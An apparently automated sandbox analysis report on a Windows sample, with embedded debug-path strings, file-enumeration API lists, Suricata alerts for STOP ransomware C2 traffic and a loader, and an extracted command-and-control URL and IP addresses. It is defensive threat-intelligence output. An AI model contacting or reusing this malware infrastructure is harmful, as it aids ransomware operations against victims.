Source:	Binary string: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb source: n41dQbiw1Y.exe, n41dQbiw1Y.exe, 00000005.00000002.1690963157.0000000004340000.00000040.00001000.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000006.00000002.2904433559.0000000000400000.00000040.00000400.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000007.00000002.1802282890.0000000004360000.00000040.00001000.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000008.00000002.1812383691.0000000000400000.00000040.00000400.00020000.00000000.sdmp, n41dQbiw1Y.exe, 0000000A.00000002.1886225243.00000000043F0000.00000040.00001000.00020000.00000000.sdmp, n41dQbiw1Y.exe, 0000000B.00000002.1894831115.0000000000400000.00000040.00000400.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\\p source: n41dQbiw1Y.exe, 00000004.00000003.2512279386.0000000003693000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2514186556.0000000003693000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2508446903.000000000368B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\bwe\3`N source: n41dQbiw1Y.exe, 00000004.00000003.2515931129.000000000351D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\ source: n41dQbiw1Y.exe, 00000004.00000003.2443266311.000000000354C000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2425756979.0000000003555000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2424259289.0000000003555000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2428534024.0000000003555000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2445898085.0000000003578000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2443091697.0000000003519000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\.log source: n41dQbiw1Y.exe, 00000004.00000003.2005761860.0000000003058000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\wy\X source: n41dQbiw1Y.exe, 00000004.00000003.2384782477.000000000353A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\: source: n41dQbiw1Y.exe, 00000004.00000003.2472484581.00000000034F8000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2481128544.000000000350E000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2473012319.000000000350A000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2480023873.00000000034F3000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2473687652.000000000350D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdbI source: n41dQbiw1Y.exe, 00000000.00000002.1658224295.00000000043F0000.00000040.00001000.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000001.00000002.1673976031.0000000000400000.00000040.00000400.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000003.00000002.1682932868.0000000004360000.00000040.00001000.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000002.2519422559.0000000000400000.00000040.00000400.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000005.00000002.1690963157.0000000004340000.00000040.00001000.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000006.00000002.2904433559.0000000000400000.00000040.00000400.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000007.00000002.1802282890.0000000004360000.00000040.00001000.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000008.00000002.1812383691.0000000000400000.00000040.00000400.00020000.00000000.sdmp, n41dQbiw1Y.exe, 0000000A.00000002.1886225243.00000000043F0000.00000040.00001000.00020000.00000000.sdmp, n41dQbiw1Y.exe, 0000000B.00000002.1894831115.0000000000400000.00000040.00000400.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: n41dQbiw1Y.exe, 00000004.00000003.2428721282.0000000003912000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2471889224.00000000038E3000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2445138231.00000000038E3000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2472632288.00000000038F5000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2444037934.00000000038B7000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2444677929.00000000038CB000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2443432510.00000000038A3000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2471556860.000000000389A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\winload_prod.pdb\+ source: n41dQbiw1Y.exe, 00000004.00000003.2350365958.00000000034F1000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.1982658575.0000000003517000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2006006511.0000000003519000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2350696624.0000000003519000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\e\r source: n41dQbiw1Y.exe, 00000004.00000003.2005761860.0000000003058000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2350504130.0000000003058000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2350312868.000000000303D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ source: n41dQbiw1Y.exe, 00000004.00000003.2416435845.0000000003668000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2386593352.0000000003678000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2385143991.000000000365E000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2415962079.000000000365A000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2385857931.0000000003661000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2425361424.000000000361F000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2444253504.0000000003677000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2425570761.0000000003670000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2415801787.00000000035BC000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2415552835.00000000035BC000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2384782477.000000000353A000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2424259289.000000000361F000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2472270849.000000000367C000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2384668716.00000000035A5000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ source: n41dQbiw1Y.exe, 00000004.00000003.2424259289.000000000352B000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2416911125.0000000003523000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2415801787.0000000003519000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2444842339.000000000352C000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2415552835.0000000003502000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2443091697.0000000003519000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\e\z@ source: n41dQbiw1Y.exe, 00000004.00000003.2385195082.0000000003002000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2385355480.0000000003002000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2385444405.0000000003009000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2385479821.000000000300D000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2416256520.000000000300D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\input\sv-SE\od.pdb\we\*0 source: n41dQbiw1Y.exe, 00000004.00000003.2516730661.000000000394A000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000002.2529720715.0000000003952000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: n41dQbiw1Y.exe, 00000004.00000003.2488762144.0000000003029000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2490262820.0000000003040000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\he\! source: n41dQbiw1Y.exe, 00000004.00000003.2386593352.0000000003678000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2385143991.000000000365E000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2385857931.0000000003661000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2350205257.00000000035A1000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2384668716.00000000035A5000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\es\ source: n41dQbiw1Y.exe, 00000004.00000003.2415801787.0000000003519000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2415552835.0000000003502000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\be\\ source: n41dQbiw1Y.exe, 00000004.00000003.1973252056.000000000301B000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2350566668.000000000301B000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.1983378419.0000000003002000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2005825176.0000000003011000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ source: n41dQbiw1Y.exe, 00000004.00000003.2442804745.00000000036C8000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2424259289.00000000036C8000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2427745703.00000000036C8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ source: n41dQbiw1Y.exe, 00000004.00000003.2472131223.00000000038B9000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2472163347.00000000038D3000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2471556860.000000000389A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: n41dQbiw1Y.exe, 00000004.00000003.2427178097.0000000003882000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2417020079.0000000003873000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2424849270.0000000003873000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2428721282.00000000038B3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: EA9380F71644C4339E3FA1AC2\winload_prod.pdb}r source: n41dQbiw1Y.exe, 00000004.00000003.2385262212.0000000003013000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ad_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: n41dQbiw1Y.exe, 00000004.00000003.2386593352.0000000003678000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\p source: n41dQbiw1Y.exe, 00000004.00000003.2425095748.000000000300B000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2426044355.000000000301F000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2444358215.0000000003019000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2445300224.0000000003023000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\\ source: n41dQbiw1Y.exe, 00000004.00000003.2417020079.0000000003873000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2424849270.0000000003873000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\+tF source: n41dQbiw1Y.exe, 00000004.00000003.2504232733.00000000039E0000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2487388165.0000000003A0B000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2507744772.0000000003A10000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\@ source: n41dQbiw1Y.exe, 00000004.00000003.2386593352.0000000003678000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2385143991.000000000365E000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2385857931.0000000003661000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2350205257.00000000035A1000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2384668716.00000000035A5000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error.azhi*cx source: n41dQbiw1Y.exe, 00000004.00000003.2385195082.0000000003002000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2385355480.0000000003002000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2385444405.0000000003009000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2385479821.000000000300D000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2350653223.0000000003009000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2350608743.0000000003003000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\a\* source: n41dQbiw1Y.exe, 00000004.00000003.2415801787.0000000003519000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2416146714.0000000003550000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2415552835.0000000003502000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2384782477.000000000353A000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2386384656.000000000354C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: n41dQbiw1Y.exe, 00000004.00000003.2517793723.0000000002FC8000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2416435845.0000000003668000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2386593352.0000000003678000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2385143991.000000000365E000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2415962079.000000000365A000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2385857931.0000000003661000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2425361424.000000000361F000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2444253504.0000000003677000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2425570761.0000000003670000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2350205257.00000000035A1000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2415801787.00000000035BC000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2415552835.00000000035BC000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2424259289.000000000361F000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2472270849.000000000367C000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2384668716.00000000035A5000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb.azhi$V# source: n41dQbiw1Y.exe, 00000004.00000003.2350205257.00000000035A1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\e\*Y source: n41dQbiw1Y.exe, 00000004.00000003.2442804745.00000000036C8000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2443042056.00000000036D5000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2424259289.00000000036C8000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2427745703.00000000036C8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\; source: n41dQbiw1Y.exe, 00000004.00000003.2386593352.0000000003678000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2385143991.000000000365E000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2385857931.0000000003661000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2350205257.00000000035A1000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2384668716.00000000035A5000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\*3d8cj source: n41dQbiw1Y.exe, 00000004.00000003.2492909076.0000000003516000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.errorCache\AppCache133408945539453665.txt} source: n41dQbiw1Y.exe, 00000004.00000003.2350205257.00000000035A1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb+HO source: n41dQbiw1Y.exe, 00000004.00000003.2350653223.0000000003009000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2350608743.0000000003003000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\eady\ source: n41dQbiw1Y.exe, 00000004.00000003.2415743092.000000000368C000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2416984023.0000000003697000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2415552835.00000000035BC000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ata\Temp\Symbols\ntkrnlmp.pdb\ata\A source: n41dQbiw1Y.exe, 00000004.00000003.2512379483.00000000038C0000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2508743176.00000000038C2000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2512842174.00000000038C1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\)u& source: n41dQbiw1Y.exe, 00000004.00000003.2512279386.0000000003693000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2514186556.0000000003693000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2508446903.000000000368B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\5 source: n41dQbiw1Y.exe, 00000004.00000003.2386593352.0000000003678000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2385143991.000000000365E000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2385857931.0000000003661000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2350205257.00000000035A1000.00000004.00000020.00020000.00000000.sdmp, n41dQbiw1Y.exe, 00000004.00000003.2384668716.00000000035A5000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\Y9 source: n41dQbiw1Y.exe, 00000004.00000003.2424259289.000000000352B000.00000004.00000020.00020000.00000000.sdmp

Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 1_2_00410160 PathFindFileNameW,PathFindFileNameW,_memmove,PathFindFileNameW,_memmove,PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,PathFindExtensionW,_wcsstr,_wcsstr,FindNextFileW,FindClose,	1_2_00410160
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 1_2_0040F730 PathFindFileNameW,PathFindFileNameW,_memmove,PathFindFileNameW,_memmove,PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,PathFindExtensionW,_wcsstr,_wcsstr,_wcsstr,_wcsstr,FindNextFileW,FindClose,	1_2_0040F730
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 1_2_0040FB98 PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,FindNextFileW,FindClose,	1_2_0040FB98
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 4_2_0040F730 PathFindFileNameW,PathFindFileNameW,_memmove,PathFindFileNameW,_memmove,PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,PathFindExtensionW,_wcsstr,_wcsstr,_wcsstr,_wcsstr,FindNextFileW,FindClose,	4_2_0040F730
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 4_2_00410160 Sleep,PathFindFileNameW,PathFindFileNameW,_memmove,PathFindFileNameW,_memmove,PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,PathFindExtensionW,_wcsstr,_wcsstr,FindNextFileW,FindClose,	4_2_00410160
Source: C:\Users\user\Desktop\n41dQbiw1Y.exe	Code function: 4_2_0040FB98 PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,FindNextFileW,FindClose,	4_2_0040FB98

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2833438 - Severity 1 - ETPRO MALWARE STOP Ransomware CnC Activity : 192.168.2.4:49735 -> 188.40.141.211:80
Source: Network traffic	Suricata IDS: 2036334 - Severity 1 - ET MALWARE Win32/Filecoder.STOP Variant Request for Public Key : 192.168.2.4:49734 -> 188.40.141.211:80
Source: Network traffic	Suricata IDS: 2020826 - Severity 1 - ET MALWARE Potential Dridex.Maldoc Minimal Executable Request : 192.168.2.4:49734 -> 188.40.141.211:80
Source: Network traffic	Suricata IDS: 2036333 - Severity 1 - ET MALWARE Win32/Vodkagats Loader Requesting Payload : 192.168.2.4:49734 -> 188.40.141.211:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: http://zexeq.com/raud/get.php

Creates HTML files with .exe extension (expired dropper behavior)

Source: C:\Users\user\Desktop\n41dQbiw1Y.exe

File created: build3[1].exe.4.dr

Source: global traffic	TCP traffic: 192.168.2.4:57796 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.4:53649 -> 1.1.1.1:53

Source: Joe Sandbox View	IP Address: 188.40.141.211 188.40.141.211
Source: Joe Sandbox View	IP Address: 104.21.80.1 104.21.80.1
Source: Joe Sandbox View	IP Address: 104.21.80.1 104.21.80.1

Source: Joe Sandbox View

ASN Name: HETZNER-ASDE HETZNER-ASDE

Source: Joe Sandbox View

JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49735 -> 188.40.141.211:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49734 -> 188.40.141.211:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49732 -> 104.21.80.1:443
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49731 -> 104.21.80.1:443
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49730 -> 104.21.80.1:443
